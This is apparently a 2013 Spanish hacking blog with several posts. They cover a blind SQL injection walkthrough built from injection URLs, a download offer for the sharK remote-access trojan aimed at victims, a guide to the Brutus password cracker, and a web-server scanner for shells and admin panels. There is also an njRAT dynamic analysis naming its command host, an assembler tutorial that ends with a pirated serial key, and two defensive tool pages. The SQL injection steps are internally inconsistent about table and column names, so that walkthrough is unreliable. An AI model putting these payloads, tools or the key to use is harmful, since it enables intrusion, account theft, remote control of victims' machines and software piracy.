468x60 Ads


jueves, 31 de octubre de 2013

SQL Injection Mediante Lógica Booleana


SQL Injection Mediante Lógica Booleana

Como explotar una inyección sql mediante lógica booleana, una función booleana es una función cuyo dominio son las palabras conformadas por los valores binarios 0 ó 1 (“falso” o “verdadero“, respectivamente), y cuyo codominio son ambos valores 0 y 1.

Lo que haremos sera que mediante instrucciones de SQL le preguntaremos al servidor, y el deberá respondernos cierto o falso.

Ahora realizaermos una serie de instrucciones para lograr extraer la información de la base de datos (usuario, passwords, emails etc.)

0×1 – Comprobando si el servidor esvulnerable

http://www.paginaweb.com/hackeame/sql.php?id=1 AND 1=1

En este ejemplo mostramos valor true, si la aplicación es vulnerable nos debería imprimir el resultado que esta asignado (id de usuario, nombre de usuario y post).

http://www.paginaweb.com/hackeame/sql.php?id=1 and 1=0

Como el valor es falso nos mostrara “no hay columnas”

0×2 - Sacando información

vamos a buscar la tabla donde están los usuarios.

Probemos “admin” como nombre de la tabla haber si existe.

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM admin)

Al no existir la tabla “admin” nos dará un valor falso ”no hay columnas”

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM hackeame)

Al existir la tabla “hackeame”, nos da un valor verdadero y se muestra en la página lo asignado.

0×3 - Sacando número de registros de la tabla “hackeame”

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM hackeame) > 4

Le preguntamos si el registro es mayor que 4 Como la tabla tiene 3 registros nos dará un valor false, o sea no mostrará nada (3 < 4)

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM users) = 3

En este caso nos dará un valor true, ya que la tabla tiene 3 registros.

0×4 Buscando los nombres de las columnas

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(usuarios) FROM hackeame)

Como no existe la columna “usuarios”, efectivamente nos da un valor false.

http://www.paginaweb.com/sql.php?id=1 AND (SELECT Count(username) FROM hackeame)

Al existir la columna password, nos da un valor true y nos muestra en contenido asignado.

Bien ya tenemos el nombre de una columna, solo tendríamos que ir probando y buscando otras.

0×5 Leyendo datos de la columna

http://www.paginaweb.com/sql.php?id=1 AND (SELECT length (username) FROM hackeame where id=1) > 9 

Al tener el usuario 5 caracteres, nos devolverá un valor FALSE.

http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT length (username) FROM hackeame where id=1) = 5

Como el usuario tiene 5 caracteres (admin), nos devolverá un valor TRUE.

*La función LENGTH devuelve la longitud de la cadena str, medida en bytes.

*La función SUBSTRING se usa para extraer una subcadena de otra cadena, especificando la posición del primer carácter y el número de caracteres que se desean extraer.

0×6: Leyendo registros de la tabla

http://www.paginaweb.com/hackeame/sql.php?id=1 AND ascii(substring((SELECT username FROM hackeame where id=1),1,1))=49 

ASCII 49 = 1

Como la contraseña del usuario empieza por 1, nos devolverá un valor true.

Ya tenemos el primer carácter de la contraseña.

http://www.paginaweb.com/hackeame/sql.php?id=1 AND ascii(substring((SELECT username FROM hackeame where id=1),2,1)) = 50 

ASCII 50 = 2

TRUE, ya tenemos el segundo carácter del usuario y así seria todo el rato hasta dar con la contraseña completa.


martes, 29 de octubre de 2013

sharK Rat


sharK Rat

sharK Rat se trata de otro troyano de conexion inversa, es algo viejo especialmente para los coleccionistas. Esta compuesto de dos partes; un cliente.exe que es mediante el cual creamos el server, y una vez creado, tendremos un server.exe que es el que tencremos que enviar a nuestras victimas para que lo ejecuten, y poder controlar remotamente su pc.

Screens:

Descargar sharK Rat:

sharK 0.2


Marmita - Detectando Ataques Man In The Middle


Marmita - Detectando Ataques Man In The Middle

Esta herramienta nos ayuda a detectar ataques ARP poisoning y ataques DHCP ACK Injection. funciona esnifando los paquetes de la interfaz de red seleccionada y analizando aquellos paquetes bien sean ARP o DHCP en busca de posibles ataques MITM. Cuando detecta un ataque muestra una alerta y la información del atacante.

La herramienta permite varias configuraciones, pudiendo elegir los tipos de ataques que se desean detectar, si se desea que se mitiguen los ataques ARP Poisoning, así cómo la posibilidad de iniciar Marmita con Windows - algo que lo recomendamos si van de red en red. En la ventana principal además existen distintos paneles con información sobre ARP y DHCP así como todos los logs.




lunes, 28 de octubre de 2013

Brutus Aet2


Brutus Aet2

Brutus Aet2 es un crackeador muy conocido y la verdad que bastante util si se sabe utilizar de la forma adecuada cuyo fin es crackear User/Pass de webs, cuentas ftp, pop3, email, etc.

Descargamos Brutus Aet2 de la web oficial.

Al iniciar este (Ejecutar el achivo con extension .exe), Los parometros que podemos observar, se describiran a continuacion:

 
 #Target = En este campo hemos de incluir la dirección IP o nombre del host “remoto”.

#Type = Debemos de seleccionar el protocolo que utilizaremos para atacar “al remoto”, a cada uno de estos, le pertenece un puerto.

*FTP----File Transfer Protocol o Protocolo de Transferencia de Archivos, el cual utiliza el puerto 21. Este protocolo se utiliza para la carga y descarga de archivos de internet, este comunica un cliente FTP con un servidor FTP. Util para capturar User/Pass empleado en servidores tipo FTP.

*HTTP (Basic-Form)----Hipertext Tranfer Protocol o Protocolo de transferencia de hipertexto, el cual utiliza el puerto 80, este se usa para el acceso a paginas web a traves de los navegadores. Se utilizaria para paginas que indican registro; foros, etc.

*(SMB) NetBios---- Network Basic Input/Output System, se encarga de enlazar un S.O de red con hw, utilizado para dar sorporte a algunos servicios de red, este protocolo utiliza el puerto 139.

*Telnet----Telecommunication Network, cuyo protoclo es utlizado para conexiones remotas, el cual utiliza el puerto 23.

*NetBus: Opción para este troyano.

*POP(POP3)----Post Office Protocol o Protocolo de la Oficina de Correo, utiliza el puerto 110, este se encarga de descargar mensajes de correo elctronico. Se utilizaria para obtener pass de correos electronicos.


Bueno, pues una vez conocido estos parámetros, pasamos a ver los siguientes, los cuales son los relativos a >connection Options<: #Port: En la chincheta >Type<>


Ahora pasamos al apartado > HTTP (Basic) Options<: #Method & KeepAlive, ambos los dejamos por defecto.


Es referido al ataque a utilizar y que emplear en este, por una parte tenemos la casilla >User Name<, en la cual hemos de indicar la ruta del dicc a utilizar en la casilla >Browse<; o utilizar un user por defecto, que seria correspondiente a la casilla >Single User<>Word List: Se utilizará un diccionario, al cual hemos de indicar la ruta al igual que al User.

Combo list: Se utilizará para testear de forma conjunta User:Pass
Brute Force: No lo recomiendo, o si, pero como ultimo recurso, ya que puede quedar puede tardar bastante ademas de otras desventajas. Parámetros que encontramos en >Brute Force<: Digits Only: “Testea” con números Lowercase Alpha: “Testea con minúsculas” Uppercase Alpha: “Testea con mayúsculas” Mixed Alpha: Mayúsculas + Minúsculas Alphanumeric: Letras+Numeros Full Keyspace: “Testea incluyendo espacios” Custom Range: “Se indican que testear, valen numeros, símbolos, etc” Min Length: Mínimo de caracteres de ambos campos. Max Length : Máximo de caracteres de ambos campos.


Se muestran los resultados, “tiempo establecido” (Es relativo ya que afectan distintos factores), el progreso, etc.

Proceso

A continuación se muestra lo que seria el proceso completo.


Como se puede observar, en primer lugar se selecciona el target ("victima"), y seguidamente el protocolo a utilizar, que a de ser relativo a este. Despues el puerto y la config en relación a las conexiones...Pero pasamos a la imagen 4 en el cual hemos de indicar un user o realizar el ataque si no conocemos este parámetro.


viernes, 25 de octubre de 2013

Inguma - A Free Vulnerability Research and Penetration Testing Toolkit


Inguma - A Free Vulnerability Research and Penetration Testing Toolkit

Inguma es una Herramienta de "Penetration Testing and Vulnerability Discovery Toolkit" escrita enteramente en python y con licencia GNU General Public License (GPL).

Ademas de sus conocidos modulos de exploración, Information Gathering, Fuerza Bruta, Exploits, Disassembler, esta nueva version ademas de resolver multiples bugs, incluye un modulo de Fuzzing y nueva interface grafica.

stuxnet@stuxnet:~/Pentesting/inguma$ python inguma.py
Inguma Version 0.0.9.1
Copyright (c) 2006-2008 Joxean Koret 

module bluetooth (pybluez) not found
No module named cx_Oracle
inguma> help

|----------------------------------------------------------------------------|
| load kb                 | Load the knowledge base                          |
| save kb                 | Save the knowledge base                          |
| clear kb                | Clear the knowledge base's data                  |
| report                  | Generate a report                                |
|----------------------------------------------------------------------------|
| show discover           | Show discover modules                            |
| show gather             | Show gather modules                              |
| show rce                | Show RCE modules                                 |
| show fuzzers            | Show fuzzing modules                             |
| show exploits           | Show available exploits                          |
| show brute              | Show brute force modules                         |
| show options            | Show options                                     |
| payload                 | Show the supported OS types and payloads         |
| info           | Show additional information about an exploit     |
|----------------------------------------------------------------------------|
| autoscan                | Perform an automatic scan                        |
| autoexploit             | Exploit wizard                                   |
| exploit                 | Run an exploit against a target or targets       |
|----------------------------------------------------------------------------|
| use                | Load all modules from a directory                     |
| !              | Run an operating system command                           |
| exit | quit             | Exit from Inguma                                 |
| help                    | Show this help                                   |
|----------------------------------------------------------------------------|


Any other typed text will be evaled as a Python expression.


miércoles, 23 de octubre de 2013

Análisis de Malware - Análisis Dinámico


Análisis de Malware - Análisis Dinámico

"Análisis Dinámico" ¿Qué quiere decir?, ¿en qué consiste?

Este tipo de análisis implica ejecutar el malware y ver el comportamiento del mismo en el sistema es decir: modificaciones en sistema(directorios y archivos creados), modificaciones en el registro, procesos en ejecución después de ejecutar el malware, que conexiones hace y más.

Un aspecto muy importante antes de realizar este tipo de análisis, es hacerlo en entornos controlados, ¿Qué quiere decir?, Usar Software de Virtualización (Maquinas Virtuales), donde se va a llevar a cabo la ejecución del Malware, esto con el fin de evitar posibles perdidas de datos, daños en su equipo,etc.

Entre los más usados:

En el peor de los casos el malware tendrá protección anti-virtual, si ese fuese el caso antes de ejecutarlo se debe recurrir a crear respaldo de su equipo. También esta el uso de SandBox, de esto hablaremos un poco al final del tutorial.

Recapitulando lo que obtuvimos anteriormente:
'Análisis de Malware(Static Analysis) [Parte 1]'

Al realizar el análisis nos mostró los siguientes datos:
"java.exe"
"TEMP"
"d2be3e6d11846430c067fc874a79f583"
"evilevil.no-ip.org"
"1177"
"True"

Llegamos a la conclusión de que se crea un archivo con el nombre "java.exe" en los documentos temporales y se conectaba a la dirección : "evilevil.no-ip.org" a través del puerto "1177" y lo de "TRUE" era porque tenia un par de opciones habilitadas al momento de crear el server y al ver que la aplicación era(.NET) talvez se trataba del nJRAT. Como dije al principio no siempre se puede llegar a mostrar los datos suficientes de lo que hace o no hace el malware, pero siempre es bueno tener referencias antes de ejecutarlo.

Ahora toca ejecutar el archivo: "TiGeR-Firewall-Setup.exe", para lo cual utilizaremos algunas aplicaciones que nos ayudaran durante el análisis.

Una de las herramientas que nos ayudará en este proceso es Process Monitor.


Ejecutamos el Process Monitor y también el archivo "TiGeR-Firewall-Setup.exe" y si vemos el programa al parece inicia el instalador pero también vemos que se crea otro proceso a continuación lo que haremos será filtrar con el fin de poder ver mejor todo lo que ocurre al momento de ejecutar el archivo, podemos filtrar desde Filter/Filter(o simplemente Ctrl+L), miren es bastante simple, nosotros lo haremos por Process Name(Nombre del proceso), también se puede por: WriteFile, FileCreate, RegCreateKey, TCP Send, depende como filtres se puede obtener resultados más facíles de leer.



Si vemos todo lo que nos filtro podemos ver lo siguiente:



 se puede ver dónde se copia el malware y lo que hace para garantizar su permanencia en el sistema.

Ahora lo veremos desde Process Explorer.


Como podemos observar tras ejecutar el instalador también se ejecuto otro proceso con el nombre "JAVA.EXE" si miramos entre las propiedades.


como podrán ver nos muestro la ruta donde se de donde se esta ejecutando el archivo y también vemos que se ah creado un valor en el registro para volver a ejecutar tras el reinicio:

C:\Users\fudmario\AppData\Local\Temp\JAVA.EXE
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\d2be3e6d11846430c067fc874a79f583

si miramos desde el regedit:


    d2be3e6d11846430c067fc874a79f583
    "C:\Users\fudmario\AppData\Local\Temp\JAVA.EXE" ..
    HKCU\Software\Microsoft\Windows\CurrentVersion\Run\

Si lo vemos desde CurrPorts, veremos que también la aplicación "java.exe" conecta a través del puerto: 1177 al host: evilevil.no-ip.org



[+] Los archivos Creado son:
    JAVA.EXE.tmp
    JAVA.EXE
    TIGER-FIREWALL-SETUP.EXE
[+] Resumiendo de todo lo que obtuvimos:

[+] Archivos que se Crean:
    JAVA.EXE.tmp
    JAVA.EXE
    TIGER-FIREWALL-SETUP.EXE

[+] Valores que se añaden al registro:
    HKCU\Software\Microsoft\Windows\CurrentVersion\Run\d2be3e6d11846430c067fc874a79f583
    "C:\Users\fudmario\AppData\Local\Temp\JAVA.EXE" ..

[+] Conecta a:
    HOST : evilevil.no-ip.org
    IP : XXX.XXX.YXY.YYY
    Puerto : 1177

Si comparamos nuestro análisis estático con el análisis Dinámico vemos que en ambos casos llegamos a lo mismo hasta cierto punto.




[+]CONCLUSIONES:

A partir de los Datos Obtenido, solo nos queda eliminar los archivos creados y los valores añadidos al registro, esto se lo debe realizar entrando en modo seguro al sistema ya que muchas veces suelen tener persistencia o en este caso la protección BSOD.

Mi conclusión, con los datos obtenidos: el archivo que se crea "java.exe" + el otro archivo "java.exe.tmp" + El directorio donde dropea "TEMP" + el puerto por defecto "1177" + el tipo de aplicacion (.NET) + Valor de Registro "d2be3e6d11846430c067fc874a79f583" + Al tratar de eliminar el proceso llega a mostrar la pantalla azul, y todo lo demás se puede llegar a concluir que el único RAT con esas funciones o configuración en el server. se trata del nJRAT(99.97%).

Ya que sabemos que se trata de este RAT su desinfección es super fácil:
Re-direccionaremos todo las conexiones a localhost(127.0.0.1) usando Apate DNS.

Y ejecutaremos nuestro nJRAT ya que en este RAT el server no contiene contraseña será fácil, usaremos el mismo puerto donde conecta el server para desinfectarnos, fácil Verdad.
 

[+] Las aplicaciones que se usaron en este tutorial:

[+] Process Monitor

[+] Process Explorer

[+] CurrPorts


[+] ApateDNS

 



[+++]BONUS.

Otro tipo de Herramientas que se utilizan al momento de analizar son las SandBox, Exiten varias algunas online, le mostraré un par/las más utilizadas por muchos y una herramienta que me parecio bastante interesante.

[+]Anubis:

Anubis es un servicio de análisis de malware Online, con informes muy detallados.
más información...
URL: http://anubis.iseclab.org/

[+]malwr:
servicio de análisis de malware gratuito hecho a partir de un sandbox Cuckoo
URL: http://malwr.com/


[+]Buster Sandbox Analyzer(BSA):

Basado en el proyecto Sandboxie, analiza el comportamiento del malware, mostrando a detalle cualquier cambio al ejecutarse el archivo. Una de las caracteristicas interesantes de BSA, es que hookea a nivel kernel(ZwQuerySystemInformation), con el fin de evitar posibles protecciones(anti-sandbox) del algunos malware's.
más información...
URL: http://bsa.isoftware.nl/

[+]ProcDOT:

ProcDot una herramienta desarrollada por Christian Wojner en el CERT de Austria. Esta herramienta analiza la información provista por Process Monitor y WinDump para generar un gráfico en función del tiempo, donde es posible hacer un seguimiento de las actividades del código malicioso, no es una herramienta que captura datos sino que su función principal es ayudar a los analistas a procesar la información.
Su dependencia más importante reside en la utilización de Graphviz, un software para generar los gráficos con los que representa las relaciones entre los procesos(i-eset).

[+]ProcDot:
URL: http://cert.at/downloads/software/procdot_en.html

[+]ProcMon
URL: http://technet.microsoft.com/en-us/s.../bb896645.aspx

[+]WinDump:
URL: http://www.winpcap.org/windump/

[+]Graphviz:

URL: http://www.graphviz.org/

Autor: Fudmario.


martes, 22 de octubre de 2013

Emu8086


Emu8086

El Emulador Emu8086 es el primer programa que se utiliza en el curso de Microprocesadores que imparte la Universidad Don Bosco; se ha elegido este emulador porque posee una interfaz de usuario muy amistosa que permite familiarizarse con los fundamentos de la programación en lenguaje ensamblador de forma muy intuitiva, aparte de eso brinda una serie de recursos para ejecutar y depurar los programas. También tiene algunas desventajas como el de no soportar algunas de las interrupciones más interesantes que posee el sistema operativo y tampoco puede acceder a los puertos físicos (reales), sino que los emula usando otros programas que ya están incluidos.

La pantalla de bienvenida.


Se presentan cuatro diferentes opciones para elegir:

• New : Le permite escribir un nuevo código en lenguaje ensamblador (al que
Llamaremos “Código Fuente” y tendrá extensión .ASM)

• Code examples: Le permite acceder a una serie de programas ejemplos que
pueden ayudarle a comprender funciones más complejas.

• Quick star tutor : activa un conjunto de documentos de ayuda, se recomienda
revisarlos frecuentemente en caso de dudas.

• Recent file : Le muestra los últimos archivos que se trabajaron en la máquina.
Para continuar este primer contacto con el emulador, seleccioneNew. Observará una ueva caja de dialogo “choose code template”.

Caja de dialogo para seleccionar el tipo plantilla (template).


En ella se le presentan seis opciones, cuatro que le permiten usar plantillas predefinidas con algunos de los tipo de archivo que se pueden crear en lenguaje ensamblador: COM template, EXE template, BIN template y BOOT template (cada uno le permite diferentes características que se abordaran a su debido tiempo en el curso). Dos que le permiten usar un espacio vacío “empty workspace” (sin una plantilla) o activar el emulador mismo. Selecciones la opción del espacio vacío. Observará la ventana de edición o mejor dicho el Entorno de Desarrollo Integrado (Integrated Development Environme IDE), donde escribirá sus archivos fuentes en lenguaje ensamblador, por favor lo confunda con el lenguaje de máquina.

Podrá ver una barra de menú de Windows con sus opciones file, edit, etc. pero también vera unas opciones poco usuales como assembler, emulator, etc. propias del emulador. También vera una serie de botones que le permitirán crear un nuevo archivo (new), abrir un archivo que ya existe (open), abrir un ejemplo (examples), compilar un archivo fuente (compile), emular un archivo ejecutable (emulate) y otras opciones que ira descubriendo a medida que se familiarice con el programa.

Ventana de edición o Entorno de Desarrollo Integrado IDE del Emu8086


Diagrama de Flujo del ejemplo.


Programa en lenguaje ensamblador


Directivas de pre proceso: Le indican al compilador que debe realizar una serie de acciones particulares en el momento de convertir el archivo fuente (ASM) en archivo objeto (OBJ).

Segmento de Datos: Donde se declaran las variables y constantes que el programa va a utilizar.

Segmento de Código: Donde especifica lo que deseamos que el programa haga. Para especificarlo se pueden usar: instrucciones (propias del microprocsador), Macro-instrucciones (similar a los comandos de los lenguajes de alto nivel) y procedimientos (similar a las funciones definidas por el usuario de los lenguajes de alto nivel).

Segmento de PILA o STACK: bloque de memoria donde almacenan datos intermedios que se generan durante la ejecución de un programa. En este no se declaran variables o constantes como en el segmento de datos, sino que se administra como una memoria LIFO, el último en entrar es el primero en salir.

Directiva que indica el fin del archivo, cualquier instrucción posterior a esta línea Será ignorada.

Digite el código en el IDE, note como se le asignan diferentes colores a las líneas, dependiendo si son instrucciones, macro-instrucciones, comentarios, cadenas de texto (formato ASCII), directivas, etc.

Al terminar de digitar el código salve el archivo usando como nombre su número de carnet (8 caracteres) y con extensión ASM (ensamblador).

Presione el botón “compile” para convertir el archivo fuente (ASM) en ejecutable (lenguaje de máquina), debe aclararse que al compilar solo se crea un archivo objeto que no es ejecutable, se necesita de otro proceso, el enlazado (LINK), para lograr que el archivo objeto se convierta en ejecutable (EXE), pero por facilidad el emulador realiza los dos procesos de forma secuencial al presionar el botón “compile”.

Mientras se realiza la compilación y enlazado se abre un ventana llamada “assembler status” que le informa sobre los resultados del proceso.

Estado del proceso de compilación. 


Luego se le pedirá que salve el archivo EXE, por defecto se le asigna el mismo nombre del archivo fuente, pero usted puede elegir otro, siempre de 8 caracteres máximo, use el nombre por defecto, Si existe algún problema (error de sintaxis u otros) en la ventana “assembler status” se le indican las líneas donde están los errores, para hacer las correcciones cierre la ventana “assembler status” y corrija el archivo fuente, que se encuentra en el IDE e intente compilar nuevamente.

Volviendo al caso de no tener errores, la ventana “assembler status” le muestra diferentes opciones como revisar algunos de los archivos complementarios que se crearon en el proceso de compilación y enlazado (opción view), puede ejecutar el archivo usando el programa DEBUG (opción external). Esta es otra herramienta que se estudiará más adelante en el curso, puede ejecutar directamente el archive EXE (RUN) o puede cerrar la ventana (close). Seleccione esta opción.

Emule el archivo EXE presionando el botón “emulate”. Notará que se abren dos ventanas: Una llamada “emulator” en la que podrá monitorear la mayoría de procesos al ejecutar el programa y otra llamada “original sourse code” que muestra el código fuente del archivo, esta ventana es diferente de la que observa en el IDE porque en ésta podrá observar cual instrucción esta a punto de ejecutarse, es ideal al corre programas pasos a paso.

Ahora observe con más detenimiento la ventana llamada “emulator”, ésta será la que más utilice a la hora de ejecutar las prácticas de laboratorio, por lo que es importante que la conozca y maneje de forma efectiva.

Ventana del Emulador. 


En la parte superior tiene una barra de herramientas con las siguientes opciones:

File, permite administrar (cargar o salvar) los archivos que va creando o ejecutando

Math, da acceso a una calculadora y un convertidor de basas de numeración.

Debug, provee herramientas para depurar programas.

View, permite abrir otras ventanas que pueden ser de mucha ayuda al ejecutar o depurar programas.

External, permite ejecutar el programa con otras herramientas diferentes del Emu8086.

Virtual devices, activa los dispositivos virtuales con que cuenta el programa, dado que se trata de un emulador no se tiene acceso a los puertos físicos de la computadora, por lo que estos son simulados.

Virtual drive, da opciones para administrar las unidades virtuales de almacenamiento (HDD y FDD virtuales).

Help, activa la herramienta de ayuda.

Bajo la barra de herramientas hay cinco botones que le permiten:

Load, carga un archivo ejecutable EXE, COM, etc. que ya existe.

Reload, recarga (inicializa los registros) para ejecutar nuevamente un programa que acaba de ser corrido.

Single step, ejecuta solamente una instrucción o macroinstrucción (paso a paso).

Step back, retrocede una instrucción que ya fue ejecutada (función muy útil al depurar un programa)

Run, ejecuta un programa en su totalidad o hasta presionar el botón “STOP”.

Vale la pena hacer notar que también es posible, en la opción DEBUG, insertar un “break point” cuando se está depurando programas.

La parte media está dividida en tres partes:

Parte izquierda denominada “registers”, donde se puede monitorear el contenido de los registros del microprocesador.

Parte central, donde se puede observar el contenido de la memoria desde donde se está ejecutando el programa. Primero se notan las direcciones del bloque de memoria que se visualiza, estas direcciones de dan en un formato llamado físico o absoluto (existe otro formato para las direcciones) dado por cinco cifras hexadecimales (20 bits) lo que indica que en este bus de direcciones se puede direccional desde la dirección00000h (dirección 0) hasta la direcciónFFFFFh (dirección 148575). Luego se indica el contenido de cada palabra (cada una de 1 byte), por facilidad el contenido se presenta en hexadecimal, decimal e interpretado como un carácter ASCII.

Parte derecha, donde puede observar el contenido de la memoria, pero esta vez no se detalla con direcciones específicas, sino que cada bloque de datos es interpretado como un conjunto de instrucciones (lo que llamaremos programa DESENSAMBLADO) que el microprocesador deberá ejecutar. Es importante mencionar que algunas instrucciones se expresan solo con un byte, pero otras necesitan varios bytes para ser expresadas

Parte inferior, contiene una serie de botones que permiten un acceso rápido a una serie de ventanas auxiliares, algunas de las cuales se puede activar también en la barra de herramientas con la opción “view”.

Regresando a la estructura del programa estudiemos el Segmento de Datos: Puede observar que se hab declarado tres cadenas de datos llamadas frase, frase_2 y línea; note que luego del nombre de la cadena de ha incluido la directiva db (definir byte) que indica al compilador que ese es el tipo de datos que contendrá la cadena. A parte de eso en las primeras dos cadenas se han usado comillas simples para definir el contenido, eso indica al compilador que el texto debe ser interpretado como caracteres ASCII. En el caso de la última cadena los datos no están entre comillas, lo que indica que serán interpretados como datos hexadecimales.

Para ejecutar el programa presione el botón RUN: note que automáticamente se activo la ventana “emulator screen” en la que se pueden observar dos textos impresos, que corresponden la frase y frase_2. Vamos a estudiar más detenidamente la ejecución del programa.

Cierre la ventana “emulator screen”

Prepare el programa para ser ejecutado nuevamente presionando el botón “reload”.

Observe la ventana “original sourse code”, parece que es una copia fiel del código fuente que digito en el IDE, pero la primera línea de código está marcada de color amarillo, esto indica que es la primera que se ejecutará al correr el programa.

Comparación entre las ventanas de edición y código fuente.


Si observe la ventana “emulator”, se ha marcado un bloque de bytes almacenados en memoria, precisamente los de las direcciones físicas 07120h, 07121h y 07122h que contiene los datos B8h (que equivalea 184d y al carácter ASCII ‘©’), los otros datos son 10h y 07h.

Los tres juntos equivalen, en lenguaje de máquina, a la MOV AX, @DATA, que ya desensamblada se transforma en mov AX, 0710h, Aparece marcada porque será la primera en ejecutarse.

Un detalle importante es la sustitución de la expresión @DATA por un valor numérico, esta sustitución es producto de la compilación del código fuente que sustituye las etiquetas y nombres de variables por direcciones físicas de memoria.

Presione el botón “single step” note que se ha avanzado una sola línea, dado que se ejecuta una única instrucción, También se han dado cambios en los registros del microprocesador, pero éstos se analizarán en la primera guía de laboratorio. Ejecute la siguiente instrucción, de igual manera se avanzó solo un paso.
Ahora la línea marcada no es de color azul, sino negra, en este caso indica que se trata de una Macroinstrucción, que contiene un conjunto completo de instrucciones que se ejecutan en bloque.

La lógica de esta estructura tiene varias formas de utilización, en este caso se asemejan a formas que ya aplicó programando en alto nivel, invoca a una función predefinida en una librería o biblioteca (printf o putchar) y para hacerlo, al inicio tiene que colocar una sentencia #include.

Como su nombre lo indica la macroinstrucción imprime una cadena de texto en la pantalla. Esta cadena se especifica pasándole un parámetro a la función, la palabra “frase”.

Presione nuevamente “single step” observe que en la ventana “emulator” si se ha avanzado en “original sourse code” y no se avanzará hasta ejecutar todas las instrucciones que conforman la macroinstrucción.

Presione tres veces “single step” se activará de forma automática la ventana “emulator screen” e imprimiendo el texto de la cadena frase, note que el signo de dólar “$” final no se ha impreso.

Presione nuevamente “single step” y se marca la siguiente macroinstrucción, que imprimirá la cadena “línea”.

Esta cadena no se declarado de la misma forma que las otras, pero aun así se imprime, un detalle importante es que al final de esta cadena se encuentra el dato 24h que corresponde al código ASCII del signo de dólar.
Presione cinco veces “single step” con esto ha bajado el cursor a la siguiente línea,
como si hubiera presionado ENTER en un editor de texto.

Presione cinco veces “single step” para imprimir la cadena “frase_2”

Ahora aparece marcada una línea de instrucción (recuerde el color azul). Analicemos su estructura, La estructura sintáctica de las líneas de instrucción está formada por elementos llamados campos, dependiendo la instrucción específica se puede tener uno o varios campos.

Primer campo se le llama código de operación e indica que es lo deseamos que realice el microprocesador, básicamente nos referimos a la instrucción en misma.

Este no puede faltar en una línea de instrucción

Segundo y tercer campo se les llama 1º operando y 2º operando campo. Si solo existe el 1º operando indica que la instrucción se ejecutará ese dato (el dato en cuestión puede declararse de forma explícita o estar almacenado en un registro del micro o en alguna localidad de memoria). En caso de existir los dos operandos implica que el 2º operando es la fuente donde está el dato que se procesará y el 1º operando es el destino donde se almacenará el resultado de ejecutar la instrucción.

Tomando como ejemplo la instrucción que en este momento está marcada:
MOV AX, 4C00h

Se entiende que MOV es el código de operación e indica que un dato se moverá (en realidad se copiará porque la fuente conservará el dato). Por tener tres campos en esta línea de instrucción el 1º operando es el destino donde se copiará el dato (en este caso el registro Acumulador AX del microprocesador) y el 2º operando es el dato que será movido (en este caso el número hexadecimal 4C00h)

Ejecute la instrucción, note que efectivamente el dato se copió en el registro, lo que puede verificar en la ventana “emulator”

La última línea del código usa la instrucción INT (de interrupción) que es otra forma particular de invocar una función definida previamente, en este caso para terminar el programa y regresar el control del microprocesador al sistema operativo, de forma similar a la sentencia return(0) que se usa en lenguaje C.

Para visualizar de forma más clara el proceso para imprimir la cadena “línea” edite en el IDE el código fuente, eliminando de el dato 0Dh. Luego de esto realice las acciones listadas anteriormente para crear un nuevo archivo ejecutable.

Ejecute el programa paso a paso y note coma cambian los mensajes en la pantalla.

Cambie la cadena, pero ahora solo elimine el 0Ah verifique como afectan los cambios en la ejecución.

¿Cuál es la función individual de los datos 0Ah y 0Dh en el programa?
¿Cuál es la relación de estos y el código ASCII?

Para terminar este primer acercamiento con el Emu8086 es importante mostrarle una de las ventanas más útiles del emulador la ventana de “variables”, es muy similar a la herramienta match del lenguaje C en la que usted podía monitorear el estado de las variables declaradas a medida que el programa se va desarrollando.

Recargue el programa y cierre la venta “emulator screen”. Usando los botones de la parte inferior del “emulator” active la ventana denominada “var”. Observará que están listadas las tres variables declaradas al inicio del archivo fuente.

Note que aparece marcada la variable frase e indica que su contenido es 48 hexadecimal (indicado por la casilla llamada “show as”), pero sabemos que esta variable contiene más datos, para poder verlos todos juntos, cambien el datos en la casilla “elements” de 1 a 7, observará una serie de datos hexadecimales. Puede cambiar la representación a datos ASCII cambiando la opción en la casilla “show as” y verificar que efectivamente es el contenido de la cadena “frase”. Si durante la ejecución del programa el contenido de la cadena cambia en esta ventana podrá observarlo.

Marque la segunda variable llamada “frase_2” observe la información, se le indica que el contiene el dato 53h, cambie la representación de datos a ASCII y la cantidad de elementos de 1 a 8.

Ahora marque la tercera variable “línea”, el contenido es 0Ah, cambie a representación ASCII y 3 elementos.

Bueno con estas ideas básicas podrá iniciar el estudio de la programación en lenguaje ensamblador apoyándose en los recursos que le brinda el Emu8086, adelante

Ventana auxiliar para monitorear el contenido de las variables declaradas



Serial:

User:ISHAAN,glaitm    Key:27R3VDEFYFX4N0VC3FRTQZX
User:ISHAAN,glaitm    Key:27R3VDEFYFX4N0VC3FRTQZX




Sensitive Buster


Sensitive Buster

Herramienta programada en Python por " Th3breacher y Angel Injection " miembros de r00tworm, La herramienta encuentra las vulnerabilidades en los servidores web como tambien Paneles de Administración, Archivos y Carpetas confidenciales, Shells e incluso Copias de Seguridad (backup).

Modos:

* -shell
* -backup
* -dir
* -admin
* -files

Ejemplo:

python sensitivebuster.py http://localhost.com -m files

Descargar Sensitive Buster
Password: r00tw0rm.com


lunes, 21 de octubre de 2013

JavaSnoop – Debugging aplicaciones Java


JavaSnoop – Debugging aplicaciones Java

JavaSnoop, desarrollada para la BlackHat USA de 2010 por Arshan Dabirsiaghi. A grandes rasgos, la herramienta nos permite adherirnos (attach) a un proceso Java o arrancarlo e interceptar las llamadas que se realizan. Además de interceptar estas llamadas y ver su contenido, nos permitirá modificar los argumentos de los métodos que estamos interceptando y modificar el valor de retorno de la función.

A continuación, veamos cómo interceptar un método de un applet Java:

1. Descargamos la última versión de la aplicación JavaSnoop

Nota: Se recomienda dejar la aplicación en un directorio que no contenga espacios en sistemas Windows (ej. C:\JavaSnoop).

2. Descargamos la última versión de Java SDK (se requiere reinicio tras la instalación).

3. Fijar la ubicación del binario JAD en “Settings > Manage JAD > Set jad path”. Descargarlo del sitio web del autor. Esto nos permitirá decompilar las clases.

4. Nos aseguramos que esté creada la variable de entorno JAVA_HOME para nuestro usuario.


